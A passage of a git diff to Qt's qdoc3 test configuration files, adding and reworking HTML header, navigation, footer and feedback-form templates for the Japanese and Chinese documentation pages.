Foundation.</p>\n" \ - " </div>\n" \ - " <div id=\"feedbackBox\">\n" \ - " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \ - " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \ - " <p id=\"noteHead\">Thank you for giving your feedback.</p> <p class=\"note\">Make sure it is related to this specific page. For more general bugs and \n" \ - " requests, please use the <a href=\"http://bugreports.qt.nokia.com/secure/Dashboard.jspa\">Qt Bug Tracker</a>.</p>\n" \ - " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\"></textarea></p>\n" \ - " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \ - " </form>\n" \ - " </div>\n" \ - " <div id=\"blurpage\">\n" \ - " </div>\n" +HTML.footer = \ + " <div class=\"ft\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + "</div> \n" \ + "<div class=\"footer\">\n" \ + " <p>\n" \ + " <acronym title=\"Copyright\">©</acronym> 2008-2011 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.</p>\n" \ + " <p>\n" \ + " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \ + " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \ + " <br />\n" \ + " <p>\n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.</p>\n" \ + " <p>\n" \ + " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \ + " Free Documentation License version 1.3</a>\n" \ + " as published by the Free Software Foundation.</p>\n" \ + "</div>\n" \ + +# Files not referenced in any qdoc file. +# See also extraimages.HTML +qhp.Qt.extraFiles = index.html \ + images/arrow_down.png \ + images/breadcrumb.png \ + images/bullet_gt.png \ + images/bullet_dn.png \ + images/bullet_sq.png \ + images/bullet_up.png \ + images/horBar.png \ + images/sprites-combined.png \ + style/offline.css diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf new file mode 100644 index 0000000..fa15d90 --- /dev/null +++ b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf @@ -0,0 +1,176 @@ +include(qt-html-online-styles.qdocconf) + +HTML.postheader = \ +" <div class=\"header\" id=\"qtdocheader\">\n" \ + " <div class=\"content\"> \n" \ + " <div id=\"nav-logo\">\n" \ + " <a href=\"index.html\">Home</a></div>\n" \ + " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \ + " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \ + " <fieldset>\n" \ + " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \ + " </fieldset>\n" \ + " </form></div>\n" \ + " <div id=\"nav-topright\">\n" \ + " <ul>\n" \ + " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \ + " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \ + " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \ + " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \ + " DOC</a></li>\n" \ + " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \ + " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " <div id=\"shortCut\">\n" \ + " <ul>\n" \ + " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \ + " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \ + " </a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \ + " <li><a href=\"#\">API Lookup</a> \n" \ + " <ul id=\"topmenuLook\"> \n" \ + " <li><a href=\"classes.html\">Class index</a></li> \n" \ + " <li><a href=\"functions.html\">Function index</a></li> \n" \ + " <li><a href=\"modules.html\">Modules</a></li> \n" \ + " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \ + " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \ + " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " <li><a href=\"#\">Qt Topics</a> \n" \ + " <ul id=\"topmenuTopic\"> \n" \ + " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \ + " <li><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li> \n" \ + " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \ + " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " <li><a href=\"#\">Examples</a> \n" \ + " <ul id=\"topmenuexample\"> \n" \ + " <li><a href=\"all-examples.html\">Examples</a></li> \n" \ + " <li><a href=\"tutorials.html\">チュートリアル</a></li> \n" \ + " <li><a href=\"demos.html\">Demos</a></li> \n" \ + " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \ + " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"wrapper\">\n" \ + " <div class=\"hd\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + " <div class=\"bd group\">\n" \ + " <div class=\"sidebar\">\n" \ + " <div class=\"searchlabel\">\n" \ + " Search index:</div>\n" \ + " <div class=\"search\">\n" \ + " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \ + " <fieldset>\n" \ + " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \ + " </fieldset>\n" \ + " </form>\n" \ + " </div>\n" \ + " <div class=\"box first bottombar\" id=\"lookup\">\n" \ + " <h2 title=\"API Lookup\"><span></span>\n" \ + " API Lookup</h2>\n" \ + " <div id=\"list001\" class=\"list\">\n" \ + " <ul id=\"ul001\" >\n" \ + " <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"box bottombar\" id=\"topics\">\n" \ + " <h2 title=\"Qt Topics\"><span></span>\n" \ + " Qt Topics</h2>\n" \ + " <div id=\"list002\" class=\"list\">\n" \ + " <ul id=\"ul002\" >\n" \ + " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"box\" id=\"examples\">\n" \ + " <h2 title=\"Examples\"><span></span>\n" \ + " Examples</h2>\n" \ + " <div id=\"list003\" class=\"list\">\n" \ + " <ul id=\"ul003\">\n" \ + " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"tutorials.html\">チュートリアル</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"wrap\">\n" \ + " <div class=\"toolbar\">\n" \ + " <div class=\"breadcrumb toolblock\">\n" \ + " <ul>\n" \ + " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \ + " <!-- Bread crumbs goes here -->\n" + +HTML.postpostheader = \ + " </ul>\n" \ + " </div>\n" \ + " <div class=\"toolbuttons toolblock\">\n" \ + " <ul>\n" \ + " <li id=\"smallA\" class=\"t_button\">A</li>\n" \ + " <li id=\"medA\" class=\"t_button active\">A</li>\n" \ + " <li id=\"bigA\" class=\"t_button\">A</li>\n" \ + " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \ + " <span>Print</span></a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"content\">\n" + +HTML.footer = \ + " <!-- /div -->\n" \ + " <div class=\"feedback t_button\">\n" \ + " [+] Documentation Feedback</div>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"ft\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + " </div> \n" \ + " <div class=\"footer\">\n" \ + " <p>\n" \ + " <acronym title=\"Copyright\">©</acronym> 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.</p>\n" \ + " <p>\n" \ + " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \ + " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \ + " <br />\n" \ + " <p>\n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.</p>\n" \ + " <p>\n" \ + " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \ + " Free Documentation License version 1.3</a>\n" \ + " as published by the Free Software Foundation.</p>\n" \ + " </div>\n" \ + " <div id=\"feedbackBox\">\n" \ + " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \ + " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \ + " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \ + " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \ + " </form>\n" \ + " </div>\n" \ + " <div id=\"blurpage\">\n" \ + " </div>\n" diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf index da20766..18ed5c1 100644 --- a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf +++ b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf @@ -1,177 +1,63 @@ -HTML.stylesheets = style/style.css \ - style/OfflineStyle.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style_ie6.css - -HTML.postheader = " <div class=\"header\" id=\"qtdocheader\">\n" \ - " <div class=\"content\"> \n" \ - " <div id=\"nav-logo\">\n" \ - " <a href=\"index.html\">Home</a></div>\n" \ - " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \ - " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \ - " <fieldset>\n" \ - " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \ - " </fieldset>\n" \ - " </form></div>\n" \ - " <div id=\"nav-topright\">\n" \ - " <ul>\n" \ - " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \ - " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \ - " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \ - " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \ - " DOC</a></li>\n" \ - " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \ - " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \ - " </ul>\n" \ - " </div>\n" \ - " <div id=\"shortCut\">\n" \ - " <ul>\n" \ - " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \ - " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \ - " </a></li>\n" \ - " </ul>\n" \ - " </div>\n" \ - " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \ - " <li><a href=\"#\">API Lookup</a> \n" \ - " <ul id=\"topmenuLook\"> \n" \ - " <li><a href=\"classes.html\">Class index</a></li> \n" \ - " <li><a href=\"functions.html\">Function index</a></li> \n" \ - " <li><a href=\"modules.html\">Modules</a></li> \n" \ - " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \ - " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \ - " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \ - " </ul> \n" \ - " </li> \n" \ - " <li><a href=\"#\">Qt Topics</a> \n" \ - " <ul id=\"topmenuTopic\"> \n" \ - " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \ - " <li><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li> \n" \ - " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \ - " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \ - " </ul> \n" \ - " </li> \n" \ - " <li><a href=\"#\">Examples</a> \n" \ - " <ul id=\"topmenuexample\"> \n" \ - " <li><a href=\"all-examples.html\">Examples</a></li> \n" \ - " <li><a href=\"tutorials.html\">チュートリアル</a></li> \n" \ - " <li><a href=\"demos.html\">Demos</a></li> \n" \ - " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \ - " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \ - " </ul> \n" \ - " </li> \n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"wrapper\">\n" \ - " <div class=\"hd\">\n" \ - " <span></span>\n" \ - " </div>\n" \ - " <div class=\"bd group\">\n" \ - " <div class=\"sidebar\">\n" \ - " <div class=\"searchlabel\">\n" \ - " Search index:</div>\n" \ - " <div class=\"search\">\n" \ - " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \ - " <fieldset>\n" \ - " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \ - " </fieldset>\n" \ - " </form>\n" \ - " </div>\n" \ - " <div class=\"box first bottombar\" id=\"lookup\">\n" \ - " <h2 title=\"API Lookup\"><span></span>\n" \ - " API Lookup</h2>\n" \ - " <div id=\"list001\" class=\"list\">\n" \ - " <ul id=\"ul001\" >\n" \ - " <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"box bottombar\" id=\"topics\">\n" \ - " <h2 title=\"Qt Topics\"><span></span>\n" \ - " Qt Topics</h2>\n" \ - " <div id=\"list002\" class=\"list\">\n" \ - " <ul id=\"ul002\" >\n" \ - " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"box\" id=\"examples\">\n" \ - " <h2 title=\"Examples\"><span></span>\n" \ - " Examples</h2>\n" \ - " <div id=\"list003\" class=\"list\">\n" \ - " <ul id=\"ul003\">\n" \ - " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"tutorials.html\">チュートリアル</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"wrap\">\n" \ - " <div class=\"toolbar\">\n" \ - " <div class=\"breadcrumb toolblock\">\n" \ - " <ul>\n" \ - " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \ - " <!-- Bread crumbs goes here -->\n" +include(qt-html-default-styles.qdocconf) -HTML.postpostheader = " </ul>\n" \ - " </div>\n" \ - " <div class=\"toolbuttons toolblock\">\n" \ - " <ul>\n" \ - " <li id=\"smallA\" class=\"t_button\">A</li>\n" \ - " <li id=\"medA\" class=\"t_button active\">A</li>\n" \ - " <li id=\"bigA\" class=\"t_button\">A</li>\n" \ - " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \ - " <span>Print</span></a></li>\n" \ - " </ul>\n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"content\">\n" +HTML.postheader = \ + " <div class=\"header\" id=\"qtdocheader\">\n" \ + " <div class=\"wrap\">\n" \ + " <div class=\"toolbar\">\n" \ + " <div class=\"breadcrumb toolblock\">\n" \ + " <ul>\n" \ + " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \ + " <!-- Bread crumbs goes here -->\n" -HTML.footer = " <!-- /div -->\n" \ - " <div class=\"feedback t_button\">\n" \ - " [+] Documentation Feedback</div>\n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"ft\">\n" \ - " <span></span>\n" \ - " </div>\n" \ - " </div> \n" \ - " <div class=\"footer\">\n" \ - " <p>\n" \ - " <acronym title=\"Copyright\">©</acronym> 2008-2010 Nokia Corporation and/or its\n" \ - " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ - " in Finland and/or other countries worldwide.</p>\n" \ - " <p>\n" \ - " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \ - " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \ - " <br />\n" \ - " <p>\n" \ - " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ - " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ - " with the terms contained in a written agreement between you and Nokia.</p>\n" \ - " <p>\n" \ - " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \ - " Free Documentation License version 1.3</a>\n" \ - " as published by the Free Software Foundation.</p>\n" \ - " </div>\n" \ - " <div id=\"feedbackBox\">\n" \ - " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \ - " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \ - " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \ - " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \ - " </form>\n" \ - " </div>\n" \ - " <div id=\"blurpage\">\n" \ - " </div>\n" +HTML.postpostheader = \ + " </ul>\n" \ + " </div>\n" \ + " <div class=\"toolbuttons toolblock\">\n" \ + " <ul>\n" \ + " <li id=\"smallA\" class=\"t_button\">A</li>\n" \ + " <li id=\"medA\" class=\"t_button active\">A</li>\n" \ + " <li id=\"bigA\" class=\"t_button\">A</li>\n" \ + " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \ + " <span>Print</span></a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"content\">\n" + +HTML.footer = \ + " <!-- /div -->\n" \ + " <div class=\"feedback t_button\">\n" \ + " [+] Documentation Feedback</div>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"ft\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + " </div> \n" \ + " <div class=\"footer\">\n" \ + " <p>\n" \ + " <acronym title=\"Copyright\">©</acronym> 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.</p>\n" \ + " <p>\n" \ + " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \ + " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \ + " <br />\n" \ + " <p>\n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.</p>\n" \ + " <p>\n" \ + " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \ + " Free Documentation License version 1.3</a>\n" \ + " as published by the Free Software Foundation.</p>\n" \ + " </div>\n" \ + " <div id=\"feedbackBox\">\n" \ + " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \ + " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \ + " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \ + " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \ + " </form>\n" \ + " </div>\n" \ + " <div id=\"blurpage\">\n" \ + " </div>\n" diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf new file mode 100644 index 0000000..285ec27 --- /dev/null +++ b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf @@ -0,0 +1,176 @@ +include(qt-html-online-styles.qdocconf) + +HTML.postheader = \ + " <div class=\"header\" id=\"qtdocheader\">\n" \ + " <div class=\"content\"> \n" \ + " <div id=\"nav-logo\">\n" \ + " <a href=\"index.html\">Home</a></div>\n" \ + " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \ + " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \ + " <fieldset>\n" \ + " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \ + " </fieldset>\n" \ + " </form></div>\n" \ + " <div id=\"nav-topright\">\n" \ + " <ul>\n" \ + " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \ + " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \ + " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \ + " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \ + " DOC</a></li>\n" \ + " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \ + " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " <div id=\"shortCut\">\n" \ + " <ul>\n" \ + " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \ + " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \ + " </a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \ + " <li><a href=\"#\">API Lookup</a> \n" \ + " <ul id=\"topmenuLook\"> \n" \ + " <li><a href=\"classes.html\">所有类</a></li> \n" \ + " <li><a href=\"functions.html\">所有函数</a></li> \n" \ + " <li><a href=\"modules.html\">Modules</a></li> \n" \ + " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \ + " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \ + " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " <li><a href=\"#\">Qt Topics</a> \n" \ + " <ul id=\"topmenuTopic\"> \n" \ + " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \ + " <li><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li> \n" \ + " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \ + " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " <li><a href=\"#\">Examples</a> \n" \ + " <ul id=\"topmenuexample\"> \n" \ + " <li><a href=\"all-examples.html\">Examples</a></li> \n" \ + " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \ + " <li><a href=\"demos.html\">Demos</a></li> \n" \ + " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \ + " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"wrapper\">\n" \ + " <div class=\"hd\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + " <div class=\"bd group\">\n" \ + " <div class=\"sidebar\">\n" \ + " <div class=\"searchlabel\">\n" \ + " Search index:</div>\n" \ + " <div class=\"search\">\n" \ + " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \ + " <fieldset>\n" \ + " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \ + " </fieldset>\n" \ + " </form>\n" \ + " </div>\n" \ + " <div class=\"box first bottombar\" id=\"lookup\">\n" \ + " <h2 title=\"API Lookup\"><span></span>\n" \ + " API Lookup</h2>\n" \ + " <div id=\"list001\" class=\"list\">\n" \ + " <ul id=\"ul001\" >\n" \ + " <li class=\"defaultLink\"><a href=\"classes.html\">所有类</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"functions.html\">所有函数</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"box bottombar\" id=\"topics\">\n" \ + " <h2 title=\"Qt Topics\"><span></span>\n" \ + " Qt Topics</h2>\n" \ + " <div id=\"list002\" class=\"list\">\n" \ + " <ul id=\"ul002\" >\n" \ + " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"box\" id=\"examples\">\n" \ + " <h2 title=\"Examples\"><span></span>\n" \ + " Examples</h2>\n" \ + " <div id=\"list003\" class=\"list\">\n" \ + " <ul id=\"ul003\">\n" \ + " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"wrap\">\n" \ + " <div class=\"toolbar\">\n" \ + " <div class=\"breadcrumb toolblock\">\n" \ + " <ul>\n" \ + " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \ + " <!-- Bread crumbs goes here -->\n" + +HTML.postpostheader = \ + " </ul>\n" \ + " </div>\n" \ + " <div class=\"toolbuttons toolblock\">\n" \ + " <ul>\n" \ + " 